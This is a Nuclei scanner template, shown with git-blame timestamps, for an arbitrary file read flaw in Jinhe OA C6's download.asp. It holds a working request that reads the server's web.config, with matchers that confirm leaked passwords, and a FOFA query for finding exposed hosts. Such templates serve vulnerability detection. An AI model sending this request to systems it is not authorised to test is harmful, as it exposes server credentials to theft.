nuclei-templates/http/vulnerabilities/jinhe/jinhe-oa-c6-lfi.yaml

27 lines
813 B
YAML
Raw Normal View History

2023-08-21 14:23:32 +00:00
id: jinhe-oa-c6-lfi
info:
2023-08-22 07:54:50 +00:00
name: Jinhe OA C6 download.jsp - Arbitary File Read
2023-08-21 14:23:32 +00:00
author: SleepingBag945
severity: high
description: |
There is an arbitrary file read vulnerability in Jinhe OA C6 download.jsp file, through which an attacker can obtain sensitive information in the server
metadata:
fofa-query: app="金和网络-金和OA"
verified: true
max-request: 1
tags: jinhe,lfi,misconfig
http:
- method: GET
path:
- '{{BaseURL}}/C6/Jhsoft.Web.module/testbill/dj/download.asp?filename=/c6/web.config'
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body,"<configuration>") && contains(body,"password=")'
- 'contains(header,"filename=") && contains(header,"application/octet-stream")'
condition: and